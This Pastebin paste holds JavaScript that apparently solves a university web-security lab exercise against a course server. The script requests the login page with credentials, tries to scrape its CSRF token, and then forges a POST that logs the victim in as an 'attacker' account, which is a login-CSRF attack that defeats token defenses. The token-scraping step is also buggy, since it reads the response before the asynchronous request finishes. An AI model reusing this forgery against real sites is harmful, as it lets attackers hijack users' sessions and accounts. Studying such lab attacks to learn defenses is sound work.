Advertisement
Guest User

Untitled

a guest
Nov 11th, 2017
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.       var xhr = new XMLHttpRequest();
  2.       xhr.open("GET", "http://trurl.cs.illinois.edu/login?csrfdefense=1&xssdefense=0", true);
  3.       xhr.withCredentials=true;
  4.       xhr.send(null);
  5.  
  6.       // extract CSRF token from page content
  7.       var token = xhr.responseText;
  8.       var pos = token.indexOf("csrf_token");
  9.       console.log(pos);
  10.       token = token.substring(pos,token.length).substr(12,50);
  11.       console.log(token);
  12.       xhr.onreadystatechange = function() {//Call a function when the state changes.
  13.           if(xhr.readyState == 4 ) { //&& http.status == 200
  14.               console.log(xhr.responseText);
  15.           }
  16.       }
  17.  
  18.  
  19.  
  20.       var http = new XMLHttpRequest();
  21.       var url = "http://trurl.cs.illinois.edu/login?csrfdefense=1&xssdefense=0";
  22.       http.withCredentials=true;//?csrfdefense=0&xssdefense=5
  23.       var params = "username=attacker&password=l33th4x&csrf_token="+token;
  24.       http.open("POST", url, true);
  25.  
  26.       //Send the proper header information along with the request
  27.       http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
  28.       //http.setRequestHeader('Authorization', 'Basic ' + authorizationBasic);
  29.       http.setRequestHeader('Accept', 'application/json');
  30.       http.onreadystatechange = function() {//Call a function when the state changes.
  31.           if(http.readyState == 4 ) { //&& http.status == 200
  32.               console.log(http.responseText);
  33.           }
  34.       }
  35.       http.send(params);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement